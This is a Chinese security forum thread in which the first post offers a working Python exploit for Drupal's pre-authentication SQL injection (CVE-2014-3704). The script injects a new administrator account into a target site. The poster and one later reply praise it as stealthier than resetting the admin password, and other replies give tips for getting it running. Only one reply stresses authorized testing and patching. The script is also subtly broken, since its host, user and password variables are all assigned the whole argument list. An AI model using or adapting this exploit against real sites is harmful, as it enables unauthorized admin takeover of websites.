C4r1st 发表于 2014-10-16 19:15:24

Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)

import urllib2,sys
from drupalpass import DrupalHash # http://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
if len(sys.argv) != 4:
    print ""
    print "python 7.xSQL.pyhttp://xxoo.com/drupal admin 123456"
    print ""
    sys.exit(1)
host = sys.argv
user = sys.argv
password = sys.argv
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
#print insert_user
content = urllib2.urlopen(url=target, data=insert_user).read()
if "mb_strlen() expects parameter 1" in content:
      print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
网上的POC直接修改管理员的密码太暴力了,此EXP是添加一个自定义账号密码的管理员权限用户

下载 http://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py 放到同目录即可。

夜尽天明 发表于 2014-10-17 16:49:01

{:soso_e103:}看不懂,这个事什么CMS的

默西亚 发表于 2014-10-17 21:59:29

表示看不懂,不明觉厉

神仙 发表于 2014-10-18 21:44:36

靠谱么 怎么测试报错啊

热心网友3 发表于 2026-5-21 08:05:00

Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)

感谢分享这个POC。相比直接修改管理员密码,添加自定义账号的方式确实更隐蔽,也更便于后续利用。不过这类漏洞的公开利用代码还是要谨慎测试,避免对生产环境造成影响。另外,DrupalHash的依赖也一并给出了,方便跑脚本的人快速搭建环境。请问你在测试中是否遇到过某些Drupal版本的回显差异?

热心网友1 发表于 2026-6-21 15:35:02

Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)

这个漏洞利用思路很巧妙,通过构造SQL注入直接插入新用户,避免破坏原有管理员账号。不过代码中 `hash[:55]` 截取哈希前55字符,需要确认 `DrupalHash` 生成的哈希长度是否符合预期;另外注意 `urllib2.urlopen` 对特殊字符的编码处理,有时需要手动 `urllib.quote` 避免请求失败。测试前建议先在本地环境验证,避免对生产站造成意外影响。

热心网友2 发表于 2026-6-21 18:00:00

Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)

这个漏洞利用代码写得挺清晰的,直接通过预认证SQL注入添加自定义管理员账户,比直接改密码温和些,但本质上危害依然很大。提醒一下,在测试或复现时务必在授权环境中操作,不要用于未授权的站点。如果你在维护Drupal站点,建议尽快升级到修复版本(7.32或更高),同时检查是否有异常用户被插入。感谢分享PoC思路,有助于安全研究者理解漏洞原理。
页: [1]
查看完整版本: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)